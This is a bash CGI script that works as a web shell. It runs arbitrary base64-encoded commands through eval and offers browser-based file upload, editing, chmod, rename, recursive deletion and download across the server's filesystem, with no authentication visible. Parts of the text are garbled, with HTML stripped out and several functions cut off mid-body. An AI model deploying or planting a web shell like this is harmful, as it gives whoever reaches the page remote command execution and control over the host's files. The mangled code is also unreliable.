#!/bin/bash # Read POST data #initialize global variables in_raw="$(dd bs=1 count=$CONTENT_LENGTH)" query=$(echo -n "$QUERY_STRING") # Functions for URL encoding and decoding urlencode() { local string="$1" local length="${#string}" local encoded="" for (( i = 0; i < length; i++ )); do local char="${string:i:1}" case "$char" in [a-zA-Z0-9.~_-]) encoded+="$char" ;; *) encoded+=$(printf '%%%02X' "'$char") ;; esac done echo -n "$encoded" } urldecode() { local url_encoded="$1" echo -n -e "$(echo "$url_encoded" | sed 's/%/\\x/g')" } createDirectoryLinks() { local directory="$1" local sections=(${directory//\// }) local currentPath="" local links="" for section in "${sections[@]}"; do if [ -n "$section" ]; then currentPath+="/$section" links+=" / $section" fi done echo "$links" } # Extract values from POST data get_post_value() { local key="$1" local value # Check if the key is in the query string value=$(echo -n "$query" |awk -vRS='\\?|&' -vFS="=" -vkey="$key" '$1==key{print $2}') if [ -z "$value" ]; then value=$(echo -n "$in_raw" | awk -vRS="\r\n|\n" -vkey=$key 'NR==1{boundary=$0} $0 ~ key{start_reading=1;getline;next;} start_reading==1 { if($0 !~ boundary) { if(value !=""){value=value"\n"} value=value""$0 }else{ print value exit } }') fi echo -n "$value" } method=$(get_post_value "method") if [ -z "$method" ];then method="post" fi current_dir=$(get_post_value "current_dir") if [ -n "$current_dir" ];then current_dir=$(echo -n "$current_dir"|base64 -d) fi if [ -z "$current_dir" ]; then current_dir=$(pwd) fi #switch to the current working directory specified by user cd "$current_dir" # Function to display HTML header html_header() { echo "Content-type: text/html" echo "" echo "" echo "
" echo "" echo "File '$filename' uploaded successfully.
" else echo "Failed to upload file '$filename'.
" fi else #command mode execute command command=$(get_post_value "command"|base64 -d) echo "Cmd: [$command]"
eval "$command"
echo ""
fi
fi
}
# Function to handle stream upload
handle_stream_upload() {
local filename=$(get_post_value "filename" | base64 -d)
local chunk_number=$(get_post_value "chunk_number" | base64 -d)
local total_chunks=$(get_post_value "total_chunks" | base64 -d)
# Create a temporary file to store the chunk
local temp_file="${filename}.part${chunk_number}"
# Write the chunk to the temporary file
get_post_value "chunk_data" | base64 -d > $temp_file
# Check if all chunks have been uploaded
if [[ "$chunk_number" -eq "$total_chunks" ]]; then
# Combine all chunks into the final file
cat "${filename}.part"* > "$filename"
# Clean up temporary files
rm -f "${filename}.part"*
echo "File '$filename' uploaded successfully."
else
echo "Chunk $chunk_number of $total_chunks uploaded successfully."
exit 0
fi
}
sorted_dir_contents() {
output=$(ls -liah|sed '1d')
second_line=$(echo "$output"|head -1)
third_line=$(echo "$output"|sed -n '2p;3q')
directories=$(echo "$output" | awk '
NR > 2 {
type = substr($2, 1, 1)
if (type == "d") {
print $0
}
}
' | sort -k10)
files=$(echo "$output" | awk '
NR > 2 {
type = substr($2, 1, 1)
if (type == "-") {
print $0
}
}
' | sort -k10)
# Print the second and third lines first
echo "$second_line"
echo "$third_line"
# Print sorted directories
if [ -n "$directories" ]; then
echo "$directories"
fi
# Print sorted files
if [ -n "$files" ]; then
echo "$files"
fi
}
# Function to list directory contents
list_directory() {
local page=${1:-1}
local items_per_page=20
local start=$(( (page - 1) * items_per_page + 1 ))
local end=$(( start + items_per_page - 1 ))
local dir_contents
dir_contents=$(sorted_dir_contents)
echo ""
echo "| # | Filename | Permissions | Owner | Group | Size | Modified | Actions | ||
|---|---|---|---|---|---|---|---|---|---|
| $count | " if [ "${permissions:0:1}" = "d" ]; then # this is a directory if [ "$filename" = "." ] || [ "$filename" = ".." ]; then echo "$filename | " else directory_name="$current_dir/$filename" echo "[ $filename ] | " fi else #this is a file echo "$filename | " fi echo "$permissions | " echo "$owner | " echo "$group | " echo "$size | " echo "$modified | " echo "" if [ "$filename" = "." ] || [ "$filename" = ".." ]; then echo " " else if [ "${permissions:0:1}" != "d" ]; then # this is a file echo "Edit | " fi echo "Rename | " echo "Chmod | " echo "Download | " echo "Delete " fi echo " | " echo "
File '$file' edited successfully.
" else edit_form fi } # Function to rename a file rename_file() { local file=$(get_post_value "file"|base64 -d) local new_name=$(get_post_value "new_name"|base64 -d) if [[ -n "$file" && -n "$new_name" ]]; then mv "$file" "$new_name" echo "File '$file' renamed to '$new_name' successfully.
" else rename_form fi } # Function to change file permissions chmod_file() { local file=$(get_post_value "file"|base64 -d) local permissions=$(get_post_value "permissions"|base64 -d) if [[ -n "$file" && -n "$permissions" ]]; then chmod "$permissions" "$file" echo "Permissions for '$file' changed to '$permissions' successfully.
" else chmod_form fi } # Function to delete a file delete_file() { local file=$(get_post_value "file"|base64 -d) if [[ -n "$file" ]]; then rm -rf "$file" echo "" else echo "Failed to delete file '$file'.
" fi } # Function to download a file download_file() { local file=$(get_post_value "file"|base64 -d) if [ -d "$file" ]; then echo -en "Content-Disposition: attachment; filename=\"$file.tar.bz2\"\r\n" echo -en "Content-Type: application/octet-stream\r\n" echo -en "Content-Transfer-Encoding: binary\r\n" echo -en "Expires: 0\r\n" echo -en "Cache-Control: must-revalidate\r\n" echo -en "Pragma: public\r\n" echo -en "\r\n" tar -cjf "$file.tar.bz2" "$file" cat "$file.tar.bz2" rm "$file.tar.bz2" elif [[ -f "$file" ]]; then echo -en "Content-Disposition: attachment; filename=\"$file\"\r\n" echo -en "Content-Type: application/octet-stream\r\n" echo -en "Content-Transfer-Encoding: binary\r\n" echo -en "Expires: 0\r\n" echo -en "Cache-Control: must-revalidate\r\n" echo -en "Pragma: public\r\n" echo -en "\r\n" cat "$file" else echo "Failed to download file '$file'.
" fi } # Main script logic action=$(get_post_value "action") if [ "$action" != "download" ]; then html_header fi case "$action" in execute) handle_upload ;; edit) edit_file ;; rename) rename_file ;; chmod) chmod_file ;; delete) delete_file ;; download) download_file ;; stream_upload) handle_stream_upload ;; *) esac if [ "$action" != "download" ]; then current_page=$(get_post_value "page") if [[ -z "$current_page" ]]; then current_page=1 fi list_directory "$current_page" pagination "$current_page" html_footer fi